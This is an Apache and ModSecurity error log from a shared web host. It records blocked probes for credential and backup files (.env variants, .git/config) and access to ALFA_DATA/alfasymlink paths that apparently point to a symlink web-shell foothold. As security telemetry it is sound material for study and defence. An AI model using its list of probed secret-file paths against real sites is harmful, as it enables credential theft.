[Sun Oct 25 13:22:44.793130 2026] [security2:error] [pid 2867879:tid 2867879] [client 85.155.15.20:51456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at465IIGIq5euXyTbvT0tgAAACQ"]
[Sun Oct 25 13:22:44.851279 2026] [security2:error] [pid 2862773:tid 2862773] [client 85.155.15.20:51476] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at465FY5e6yJWIYGXiqDaAAAAAk"]
[Sun Oct 25 13:22:44.851544 2026] [security2:error] [pid 2862773:tid 2862773] [client 85.155.15.20:51476] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at465FY5e6yJWIYGXiqDaAAAAAk"]
[Sun Oct 25 13:22:44.851859 2026] [security2:error] [pid 2862773:tid 2862773] [client 85.155.15.20:51476] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at465FY5e6yJWIYGXiqDaAAAAAk"]
[Sun Oct 25 13:22:44.853034 2026] [security2:error] [pid 2867866:tid 2867866] [client 85.155.15.20:51472] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at465OTZqNQxsvKVpXkhOwAAABM"]
[Sun Oct 25 13:22:44.853223 2026] [security2:error] [pid 2867866:tid 2867866] [client 85.155.15.20:51472] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at465OTZqNQxsvKVpXkhOwAAABM"]
[Sun Oct 25 13:22:44.853502 2026] [security2:error] [pid 2867866:tid 2867866] [client 85.155.15.20:51472] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at465OTZqNQxsvKVpXkhOwAAABM"]
[Sun Oct 25 13:22:44.854466 2026] [security2:error] [pid 2862822:tid 2862822] [client 85.155.15.20:51496] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at465MsxP9Gbm0IYLGL8xAAAACI"]
[Sun Oct 25 13:22:44.854618 2026] [security2:error] [pid 2862822:tid 2862822] [client 85.155.15.20:51496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at465MsxP9Gbm0IYLGL8xAAAACI"]
[Sun Oct 25 13:22:44.854838 2026] [security2:error] [pid 2862822:tid 2862822] [client 85.155.15.20:51496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at465MsxP9Gbm0IYLGL8xAAAACI"]
[Sun Oct 25 13:22:44.855778 2026] [security2:error] [pid 2867885:tid 2867885] [client 85.155.15.20:51508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at465HdfzIDEwjyAl3pt4wAAACc"]
[Sun Oct 25 13:22:44.855954 2026] [security2:error] [pid 2867885:tid 2867885] [client 85.155.15.20:51508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at465HdfzIDEwjyAl3pt4wAAACc"]
[Sun Oct 25 13:22:44.856164 2026] [security2:error] [pid 2867885:tid 2867885] [client 85.155.15.20:51508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at465HdfzIDEwjyAl3pt4wAAACc"]
[Sun Oct 25 13:22:44.864260 2026] [security2:error] [pid 2867890:tid 2867890] [client 85.155.15.20:51546] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at465JkDGkILNr0EMn3BLAAAACw"]
[Sun Oct 25 13:22:44.864419 2026] [security2:error] [pid 2867890:tid 2867890] [client 85.155.15.20:51546] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at465JkDGkILNr0EMn3BLAAAACw"]
[Sun Oct 25 13:22:44.864648 2026] [security2:error] [pid 2867890:tid 2867890] [client 85.155.15.20:51546] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at465JkDGkILNr0EMn3BLAAAACw"]
[Sun Oct 25 13:22:44.867850 2026] [security2:error] [pid 2867836:tid 2867836] [client 85.155.15.20:51490] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at465EnqvEndZSiuRU5OZQAAAA8"]
[Sun Oct 25 13:22:44.867876 2026] [security2:error] [pid 2867876:tid 2867876] [client 85.155.15.20:51512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at465FMGGelIHqGysXAaewAAAB8"]
[Sun Oct 25 13:22:44.868004 2026] [security2:error] [pid 2867836:tid 2867836] [client 85.155.15.20:51490] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at465EnqvEndZSiuRU5OZQAAAA8"]
[Sun Oct 25 13:22:44.868029 2026] [security2:error] [pid 2867876:tid 2867876] [client 85.155.15.20:51512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at465FMGGelIHqGysXAaewAAAB8"]
[Sun Oct 25 13:22:44.868215 2026] [security2:error] [pid 2867836:tid 2867836] [client 85.155.15.20:51490] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at465EnqvEndZSiuRU5OZQAAAA8"]
[Sun Oct 25 13:22:44.868238 2026] [security2:error] [pid 2867876:tid 2867876] [client 85.155.15.20:51512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at465FMGGelIHqGysXAaewAAAB8"]
[Sun Oct 25 13:22:44.869094 2026] [security2:error] [pid 2867834:tid 2867834] [client 85.155.15.20:51486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at465CjnAS4eJh-ada2MiAAAAA0"]
[Sun Oct 25 13:22:44.869242 2026] [security2:error] [pid 2867834:tid 2867834] [client 85.155.15.20:51486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at465CjnAS4eJh-ada2MiAAAAA0"]
[Sun Oct 25 13:22:44.869449 2026] [security2:error] [pid 2867834:tid 2867834] [client 85.155.15.20:51486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at465CjnAS4eJh-ada2MiAAAAA0"]
[Sun Oct 25 13:22:44.961262 2026] [security2:error] [pid 2867836:tid 2867836] [client 85.155.15.20:51490] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at465EnqvEndZSiuRU5OZgAAAA8"]
[Sun Oct 25 13:22:44.961432 2026] [security2:error] [pid 2867836:tid 2867836] [client 85.155.15.20:51490] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at465EnqvEndZSiuRU5OZgAAAA8"]
[Sun Oct 25 13:22:44.961692 2026] [security2:error] [pid 2867836:tid 2867836] [client 85.155.15.20:51490] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at465EnqvEndZSiuRU5OZgAAAA8"]
[Sun Oct 25 13:22:44.961841 2026] [proxy_fcgi:error] [pid 2867876:tid 2867876] [client 85.155.15.20:51512] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 13:22:44.970556 2026] [proxy_fcgi:error] [pid 2867834:tid 2867834] [client 85.155.15.20:51486] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 13:22:44.970682 2026] [proxy_fcgi:error] [pid 2867885:tid 2867885] [client 85.155.15.20:51508] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 13:22:44.971078 2026] [proxy_fcgi:error] [pid 2867866:tid 2867866] [client 85.155.15.20:51472] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 13:22:44.982043 2026] [proxy_fcgi:error] [pid 2867879:tid 2867879] [client 85.155.15.20:51456] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 13:22:49.827042 2026] [security2:error] [pid 2867885:tid 2867885] [client 43.135.142.7:38878] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at466XdfzIDEwjyAl3pt5QAAACc"]
[Sun Oct 25 13:22:49.828012 2026] [authz_core:error] [pid 2867885:tid 2867885] [client 43.135.142.7:38878] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 13:22:59.645556 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 107.20.25.33:54444] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:23:03.562017 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 3.216.227.216:13215] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:23:11.756562 2026] [ssl:error] [pid 2870916:tid 2870916] (70014)End of file found: [client 3.215.59.93:46364] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:23:27.857983 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 44.221.37.41:15309] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty5/subsystem/ttyS0/iomem_reg_shift
[Sun Oct 25 13:23:40.324241 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 34.231.118.144:23218] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:24:03.757633 2026] [ssl:error] [pid 2870916:tid 2870916] (70014)End of file found: [client 3.224.205.25:13882] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:24:15.806838 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 98.83.72.38:16769] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:24:20.533849 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 52.2.4.213:59708] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:24:24.011623 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 3.220.148.166:45548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:24:32.047368 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 3.89.176.255:5808] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:24:35.746086 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 52.203.237.170:4129] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:24:47.786835 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 34.236.185.101:55328] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:24:52.081928 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 98.82.66.172:37194] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:24:55.846590 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 18.235.158.19:43962] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:24:59.747811 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 52.3.26.180:63828] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:25:03.686547 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 52.200.54.136:28154] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:25:12.653583 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 185.191.171.9:61904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:25:43.730257 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 52.205.141.124:35647] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:25:47.693082 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 52.200.93.170:24438] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:25:51.768970 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 54.84.93.8:22877] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:26:03.695466 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 34.236.41.241:16382] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:26:41.679604 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 54.197.102.71:24847] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:26:51.777251 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 52.7.33.248:21475] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:26:55.743194 2026] [security2:error] [pid 2870916:tid 2870916] [client 34.225.24.180:9354] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:01/physical_node/"] [unique_id "at473_wFw76qlSfceadu-gAAAAA"]
[Sun Oct 25 13:26:55.743236 2026] [security2:error] [pid 2870916:tid 2870916] [client 34.225.24.180:9354] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:01/physical_node/"] [unique_id "at473_wFw76qlSfceadu-gAAAAA"]
[Sun Oct 25 13:26:59.566204 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 44.210.213.220:16016] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:03/physical_node/remove
[Sun Oct 25 13:27:02.849992 2026] [authz_core:error] [pid 2862822:tid 2862822] [client 47.79.201.58:39434] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini, referer: https://www.google.com/
[Sun Oct 25 13:27:03.845067 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 34.236.135.14:11173] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:27:18.539067 2026] [security2:error] [pid 2867885:tid 2867885] [client 185.191.171.7:22976] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ftools/php82/upgrade.php"] [unique_id "at479ndfzIDEwjyAl3pt7wAAACc"]
[Sun Oct 25 13:27:18.539116 2026] [security2:error] [pid 2867885:tid 2867885] [client 185.191.171.7:22976] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ftools/php82/upgrade.php"] [unique_id "at479ndfzIDEwjyAl3pt7wAAACc"]
[Sun Oct 25 13:27:39.747783 2026] [core:error] [pid 2867879:tid 2867879] (13)Permission denied: [client 34.224.9.144:21973] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/subsystem/input3/subsystem/input4/device/drvctl
[Sun Oct 25 13:27:46.969365 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 85.208.96.197:61152] AH02013: coalesce failed to read from data bucket
